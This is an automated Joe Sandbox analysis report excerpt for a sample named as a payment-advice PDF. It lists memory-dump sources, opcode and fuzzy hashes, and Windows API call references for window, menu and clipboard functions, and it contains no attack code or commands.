Source File: 00000004.00000002.2960763460.0000000037470000.00000040.00000800.00020000.00000000.sdmp, Offset: 37470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37470000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae87823f9ed31313e63332d9ae57f1a64d26f965c4097dc72353b80cce786b5a
Instruction ID: 632dec12bc0758f1646c1ff2970ef646e0d243851fdca973a25bc2e69c0580e8
Opcode Fuzzy Hash: ae87823f9ed31313e63332d9ae57f1a64d26f965c4097dc72353b80cce786b5a
Instruction Fuzzy Hash: 59C1B074E00258CFDB54DFA5C994BDDBBB2AF89300F1080A9D418BB365DB35AA86CF51

Function 37523F70 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bd799c42c844afdc73ce977c7cb1967bd5218abba111ff671183fcc992cd42f
Instruction ID: f49b5cad6a3e97ea56637d33dbb65fa9b1698d0ce9ccc3c6954ac4d0e0288aa9
Opcode Fuzzy Hash: 9bd799c42c844afdc73ce977c7cb1967bd5218abba111ff671183fcc992cd42f
Instruction Fuzzy Hash: A5C1AF74E01218CFDB54DFA5C994B9DBBB2AF89300F2080A9D408BB365DB359E86CF51

Function 37525F10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d87e01666c04381a35a69cb5fa2d993970fceca84572061a8ab781542ae38fef
Instruction ID: d599b3f89ce10b6aa8fe271ddab87c9f86f439a2f2d4545e126b59bc62e18790
Opcode Fuzzy Hash: d87e01666c04381a35a69cb5fa2d993970fceca84572061a8ab781542ae38fef
Instruction Fuzzy Hash: D7C1B074E01218CFDB54DFA5C994B9DBBB2AF89300F1080A9D408BB365DB35AE86CF51

Function 375267C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b10fb2c5d8d64491c3ed2435c58e29b0973c53bb6cd435c9fd4198f35ff2a86a
Instruction ID: af77a77740281422e4ce7ada895a86aa89a89f03787788ce5526bd9d48e71f51
Opcode Fuzzy Hash: b10fb2c5d8d64491c3ed2435c58e29b0973c53bb6cd435c9fd4198f35ff2a86a
Instruction Fuzzy Hash: 41C1A074E01218CFDB54DFA5C994B9DBBB2AF89300F1080A9D418BB3A5DB359E86CF51

Function 37520FA8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3327f00dd193bae948b8b74339ebd4673393a6af1c09472d1ee4ca17a3b08f4d
Instruction ID: 7c62552e42547f244202426a6dda9e779b86fb055c85e6a9ffc2c561f2c802a2
Opcode Fuzzy Hash: 3327f00dd193bae948b8b74339ebd4673393a6af1c09472d1ee4ca17a3b08f4d
Instruction Fuzzy Hash: 54C1A174E01218CFDB54DFA5C994B9DBBB2AF89300F1080A9D409BB365DB359E86CF51

Function 37525660 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55846448daccbf0db03dcb57c48f12b6c01fde4d8545104657d27dbbbad226a9
Instruction ID: c87cd8985ffb6de237ea3c2914a8d1f3883eab8ebc4d88dfcbf98aa7920785ad
Opcode Fuzzy Hash: 55846448daccbf0db03dcb57c48f12b6c01fde4d8545104657d27dbbbad226a9
Instruction Fuzzy Hash: A5C1A074E01218CFDB54DFA5C994B9DBBB2AF89300F2080A9D409BB365DB359E86CF51

Function 37522E10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3337671bf1154bbd526b8f39164f88a7e70f15ffa2e4f4f3ebe121d27dfc66e
Instruction ID: f289187b32cff0fb9afb804aa0d538fee905440353ff99df5bcc98a24ef514a5
Opcode Fuzzy Hash: d3337671bf1154bbd526b8f39164f88a7e70f15ffa2e4f4f3ebe121d27dfc66e
Instruction Fuzzy Hash: 28C1BF74E00218CFDB54DFA5C994B9DBBB2AF89300F2080A9D419BB365DB359E86CF51

Function 375236C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a2c57e240fc32d65e28469bd106e790dd7e5236dd17814bd82d695eacbf0605
Instruction ID: be395d0d0801c4eb7db977447e988a36bf9ec4ed6528477a3acb81a23ae11361
Opcode Fuzzy Hash: 8a2c57e240fc32d65e28469bd106e790dd7e5236dd17814bd82d695eacbf0605
Instruction Fuzzy Hash: E3C1A074E01218CFDB54DFA5C994B9DBBB2AF89300F2080A9D408BB365DB359E86CF51

Function 37522560 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ad4e70510912e8df1d487895f6486a158c93ec80d8632f5974c6ad3b4eb1d73
Instruction ID: a77b60166cb8ff116b5b921fd5251a156d28b2dd58b07d14b452ff3367954549
Opcode Fuzzy Hash: 4ad4e70510912e8df1d487895f6486a158c93ec80d8632f5974c6ad3b4eb1d73
Instruction Fuzzy Hash: F9C1A074E01218CFDB54DFA5C994B9DBBB2AF89300F2080A9D408BB365DB359E86CF51

Function 37524DB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ddea710d3628da77322dab3455abeebe1742027d7422c3c2c8802985a2a46bb
Instruction ID: c7cd013f2053f80e7c0083b18bf69529cedbd2ad1c565fd20272f7da8c90755f
Opcode Fuzzy Hash: 5ddea710d3628da77322dab3455abeebe1742027d7422c3c2c8802985a2a46bb
Instruction Fuzzy Hash: F8C1A174E01218CFDB54DFA5C994B9DBBB2AF89300F2080A9D409BB365DB359E86CF51

Function 37526C18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 495c05eb2230fbce4337ebbfeef4aa21af4511b7f585f8c39eb9db8f62a0bffe
Instruction ID: 4abd3cfad3687201a430b04322635cb239a95eb99f1aecb7f635b1c567cd320f
Opcode Fuzzy Hash: 495c05eb2230fbce4337ebbfeef4aa21af4511b7f585f8c39eb9db8f62a0bffe
Instruction Fuzzy Hash: AEC1B074E01218CFDB54DFA5C994B9DBBB2AF89300F2080A9D418BB365DB359E86CF51

Function 37521400 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b8e182f29194a109e4bf7274db51f807f84f0aadeab04178645b65ce61138b5
Instruction ID: bdab3cdbf3806ba9e558c95e79862f47335834250a75438536414ee2d9080703
Opcode Fuzzy Hash: 1b8e182f29194a109e4bf7274db51f807f84f0aadeab04178645b65ce61138b5
Instruction Fuzzy Hash: 05C1B074E01218CFDB54DFA5C994B9DBBB2AF89300F2080A9D409BB365DB359E86CF51

Function 375274C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9fdd878e55237e2fa846b84d5e8dcf1103846f8c72641dd430e8fdc2dbd5a5a
Instruction ID: 4a2bc6994a33f415a08dec6bd7ffa780d98209929c2a6770693f1eb5c1330261
Opcode Fuzzy Hash: c9fdd878e55237e2fa846b84d5e8dcf1103846f8c72641dd430e8fdc2dbd5a5a
Instruction Fuzzy Hash: C4C1BF74E01218CFDB54DFA5C994B9DBBB2AF89300F1084A9D408BB365DB359E86CF51

Function 37521CB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70dac8445cb42de8a6aea79175837e98403c4aa38500dfdd62acc7a68214a56b
Instruction ID: 8a0652a990388936f21a17a91637ab615bdb94114359d7af8fc26272f8af983f
Opcode Fuzzy Hash: 70dac8445cb42de8a6aea79175837e98403c4aa38500dfdd62acc7a68214a56b
Instruction Fuzzy Hash: 6CC1B174E01218CFDB54DFA5C994B9DBBB2AF89300F1080A9D418BB365DB359E86CF51

Function 37526368 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8b912fd3c67cc90ed66334f5910c866ecc8856d5cad83469ddc972128a342a6
Instruction ID: 9a5b30b49d55f9f324c99037981de13cc3e804e65adf7ec9a6d36c6b5fb226f9
Opcode Fuzzy Hash: a8b912fd3c67cc90ed66334f5910c866ecc8856d5cad83469ddc972128a342a6
Instruction Fuzzy Hash: 28C1B074E01218CFDB54DFA5C994B9DBBB2AF89300F2080A9D408BB365DB359E86CF51

Function 37523B18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 572cdd853ac05062f1e5d5bb73583ead8fde0b2b1c1230af5b84d71f743ae361
Instruction ID: a976b064d4ed506e1504e4496fe483669a5f9b6783deeb7c3e5476e69bf35971
Opcode Fuzzy Hash: 572cdd853ac05062f1e5d5bb73583ead8fde0b2b1c1230af5b84d71f743ae361
Instruction Fuzzy Hash: FEC1B074E01218CFDB54DFA9D994B9DBBB2AF89300F1080A9D408BB364DB359E86CF51

Function 375243C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07816ebca10459087ca0acad21468d944963af1649102483ff910b1fbf6317a8
Instruction ID: c67894bb5c62c9fcc15438903097bf54d9c22ae55a1e172fbb140e05aba71f27
Opcode Fuzzy Hash: 07816ebca10459087ca0acad21468d944963af1649102483ff910b1fbf6317a8
Instruction Fuzzy Hash: 7AC1BF74E01218CFDB54DFA5C994B9DBBB2AF89301F1080A9D418BB365DB35AE86CF50

Function 37523268 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b477708739dd295264310675abd78efa13acc26aea5608b23fc9665c6da88b85
Instruction ID: 1ce5fb92c6b2d91d62ee23da4fb85c74b307d452cc295f6d60a42ea206adca99
Opcode Fuzzy Hash: b477708739dd295264310675abd78efa13acc26aea5608b23fc9665c6da88b85
Instruction Fuzzy Hash: 64C1B074E00258CFDB54DFA5C994B9DBBB2AF89300F1080A9D408BB365DB35AE86CF51

Function 37525208 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fa0a850b3643fa5e26a678939a0307ffa73620ee921de5d067b8fa4539e4798
Instruction ID: d1421abe3d2685aec6cb1add328c20f7eb1660cf223962552a9523ece2c397bc
Opcode Fuzzy Hash: 2fa0a850b3643fa5e26a678939a0307ffa73620ee921de5d067b8fa4539e4798
Instruction Fuzzy Hash: D4C1B074E01218CFDB54DFA5C994B9DBBB2AF89300F2080A9D409BB365DB359E86CF51

Function 37525AB8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: debd0fd3215e31c82cf19a1f07f85a5a48781898b8547e78ec2dc8c924eeeb88
Instruction ID: a8aa63a81f4fd50e76ac01db2da2c9b8572f61d9977b416229c83f30f6281145
Opcode Fuzzy Hash: debd0fd3215e31c82cf19a1f07f85a5a48781898b8547e78ec2dc8c924eeeb88
Instruction Fuzzy Hash: 90C1BF74E01218CFDB54DFA5C994B9DBBB2AF89300F2080A9D418BB364DB359E86CF50

Function 37522108 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cbc671c0486f05a93748ddacc551e79a8d10638293124af73a1410bccaf6f3d
Instruction ID: dde38770a0790a16cf4aaf93a2ce847d1d67ac6df8ab02504c96c8c8efb1447c
Opcode Fuzzy Hash: 7cbc671c0486f05a93748ddacc551e79a8d10638293124af73a1410bccaf6f3d
Instruction Fuzzy Hash: 4CC1A074E00218CFDB54DFA5C994B9DBBB2AF89300F2080A9D409BB365DB359E86CF51

Function 375229B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11e802ab70b0c5b6d7013c308acb5aa9a53946e5a8f5ae6e544c787959cb19bf
Instruction ID: 0fd79231d8b6971d217e23493545644c859f1c1c97c15ea6385fb000e18b5291
Opcode Fuzzy Hash: 11e802ab70b0c5b6d7013c308acb5aa9a53946e5a8f5ae6e544c787959cb19bf
Instruction Fuzzy Hash: C9C1AF74E00218CFDB54DFA5C994B9DBBB2AF89300F2080A9D409BB365DB359E86CF51

Function 37521858 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35fcb23c6c4f9023c72e601aa4b3e0d66e37b4ac87627294f8b96edafcfccf5f
Instruction ID: 1ac53b90eaf69620f23f3469521e04d7ff11b6da09481d72fe2989d06cbdb6d3
Opcode Fuzzy Hash: 35fcb23c6c4f9023c72e601aa4b3e0d66e37b4ac87627294f8b96edafcfccf5f
Instruction Fuzzy Hash: E4C1A174E00218CFDB54DFA5C994B9DBBB2AF89300F2080A9D419BB365DB359E86CF51

Function 37527070 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9d478e1de38b40f24bf512dd4a3ccd896bf1615a8362e0dfde9b2e313c53cf3
Instruction ID: be050485b50685e662b4ab098ae166d95f01ef063496cb9fcbf60e7f9ed223ad
Opcode Fuzzy Hash: c9d478e1de38b40f24bf512dd4a3ccd896bf1615a8362e0dfde9b2e313c53cf3
Instruction Fuzzy Hash: 31C1A074E01218CFDB54DFA5C994B9DBBB2AF89300F2084A9D408BB365DB359E86CF51

Function 37524820 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7c6714c3fcf1b218f5b6c43e3287c3588e7744e1e2d5b317ba93f43e3f085cf
Instruction ID: c3667ae468a182fdd7cb416f01b871f5ff6d76f43c8b3882ffdfd455a67ccc81
Opcode Fuzzy Hash: d7c6714c3fcf1b218f5b6c43e3287c3588e7744e1e2d5b317ba93f43e3f085cf
Instruction Fuzzy Hash: 64C1B174E00218CFDB54DFA9D994B9DBBB2AF89301F1080A9D409BB365DB359E86CF50

Function 3747E79F Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960763460.0000000037470000.00000040.00000800.00020000.00000000.sdmp, Offset: 37470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37470000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e330457bfb065dc4fce195c27be131e4529543cba7307fb946fe1fd0b19441d9
Instruction ID: 97ab61b4a4bb2b95c293b93214b319eca8d66882953c9c77a0506665a4b927ed
Opcode Fuzzy Hash: e330457bfb065dc4fce195c27be131e4529543cba7307fb946fe1fd0b19441d9
Instruction Fuzzy Hash: 8DC1BF74E00258CFDB54DFA5C984BDDBBB2AF89300F1081A9D419AB365DB35AA86CF50

Function 3747EBF7 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960763460.0000000037470000.00000040.00000800.00020000.00000000.sdmp, Offset: 37470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37470000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af8b4371de864817d9aad0faeec15d5e0e8fbfca6d47d7b5ab16f1e39c6fae7f
Instruction ID: 4cc64c4f2b6e5d4da4fea65f64650f3a3c90d4712db548c185ea3b7673e9a8b4
Opcode Fuzzy Hash: af8b4371de864817d9aad0faeec15d5e0e8fbfca6d47d7b5ab16f1e39c6fae7f
Instruction Fuzzy Hash: 5FC1CF74E00258CFDB54DFA5C984BDDBBB2AF89300F1081A9D418BB364DB35AA86CF50

Function 3747C1F2 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960763460.0000000037470000.00000040.00000800.00020000.00000000.sdmp, Offset: 37470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37470000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 355b3273ac0c4954d2737b3d4ec05c7453d4808b4aae16830301d33224c9e173
Instruction ID: 30a5bf0cbcf950aeccca82fce764acf1322095f7d7e373e04b9a81e4b46c77cb
Opcode Fuzzy Hash: 355b3273ac0c4954d2737b3d4ec05c7453d4808b4aae16830301d33224c9e173
Instruction Fuzzy Hash: 63C1AF74E01218CFDB54DFA5C994BDDBBB2AF89300F1080A9D418BB364DB35AA86CF51

Function 3747B4EC Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960763460.0000000037470000.00000040.00000800.00020000.00000000.sdmp, Offset: 37470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37470000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2af35ed0f346a4b6da95278793ffbffb73ae67da2c9ba5ba93e88d36ffdb899
Instruction ID: bf2ffade495eec676fbf346b7b155d9130d95bc48c9d76a4119d47c7529ade21
Opcode Fuzzy Hash: b2af35ed0f346a4b6da95278793ffbffb73ae67da2c9ba5ba93e88d36ffdb899
Instruction Fuzzy Hash: 59C1A074E01258CFDB54DFA5C994BDDBBB2AF89300F1080A9D418BB354DB35AA86CF51

Function 3747B944 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960763460.0000000037470000.00000040.00000800.00020000.00000000.sdmp, Offset: 37470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37470000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 059ca405a60ee2a755e2981e99bbeb24138174ae88c4ba36d2aa8bf9ba40ec56
Instruction ID: 5675fccd5884dd27db1253fe5def0c7e249d69b10d3f7afa726f552b4e272465
Opcode Fuzzy Hash: 059ca405a60ee2a755e2981e99bbeb24138174ae88c4ba36d2aa8bf9ba40ec56
Instruction Fuzzy Hash: 17C1AF74E01218CFDB54DFA5C994BDDBBB2AF89300F1080A9D418BB365DB35AA86CF51

Function 37A5F5D8 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2961153208.0000000037A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37a50000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6aeb6c539e0603a41ca3da86250313bca1cb651814a3278dd8f3c91a6b5df01
Instruction ID: c583b353133dda6b84ade08daf85bf084ba3a55c8a79f9304cfe6b9338f35aea
Opcode Fuzzy Hash: b6aeb6c539e0603a41ca3da86250313bca1cb651814a3278dd8f3c91a6b5df01
Instruction Fuzzy Hash: 3BD06775E442588ACB11DF98D8402ECB770EFDA311F0124A6D558A7110D6719A908F56

Function 004052F3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405351
GetDlgItem.USER32(?,000003EE), ref: 00405360
GetClientRect.USER32(?,?), ref: 0040539D
GetSystemMetrics.USER32(00000002), ref: 004053A4
SendMessageW.USER32(?,00001061,00000000,?), ref: 004053C5
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053D6
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053E9
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053F7
SendMessageW.USER32(?,00001024,00000000,?), ref: 0040540A
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040542C
ShowWindow.USER32(?,00000008), ref: 00405440
GetDlgItem.USER32(?,000003EC), ref: 00405461
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405471
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040548A
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405496
GetDlgItem.USER32(?,000003F8), ref: 0040536F

Part of subcall function 0040414E: SendMessageW.USER32(00000028,?,00000001,00403F7A), ref: 0040415C

GetDlgItem.USER32(?,000003EC), ref: 004054B3
CreateThread.KERNEL32(00000000,00000000,Function_00005287,00000000), ref: 004054C1
CloseHandle.KERNEL32(00000000), ref: 004054C8
ShowWindow.USER32(00000000), ref: 004054EC
ShowWindow.USER32(?,00000008), ref: 004054F1
ShowWindow.USER32(00000008), ref: 0040553B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040556F
CreatePopupMenu.USER32 ref: 00405580
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405594
GetWindowRect.USER32(?,?), ref: 004055B4
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405605
OpenClipboard.USER32(00000000), ref: 00405615
EmptyClipboard.USER32 ref: 0040561B
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405627
GlobalLock.KERNEL32(00000000), ref: 00405631
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405645
GlobalUnlock.KERNEL32(00000000), ref: 00405665
SetClipboardData.USER32(0000000D,00000000), ref: 00405670
CloseClipboard.USER32 ref: 00405676

Strings

{, xrefs: 00405559

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: c03f886d1af96994fdbb0a23cef68d0ed2242977acd76286432e3196303c0609
Instruction ID: bedd14c977596f777f0676ed5d78e17ab23f6a1f4e688fc8743dda88f8352f2f
Opcode Fuzzy Hash: c03f886d1af96994fdbb0a23cef68d0ed2242977acd76286432e3196303c0609
Instruction Fuzzy Hash: 85B15A71900608FFDB11AF60DD89AAE7B79FB48355F00803AFA41BA1A0CB755E51DF58

Function 00403C41 Relevance: 48.3, APIs: 32, Instructions: 345windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C7D
ShowWindow.USER32(?), ref: 00403C9A
DestroyWindow.USER32 ref: 00403CAE
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CCA
GetDlgItem.USER32(?,?), ref: 00403CEB
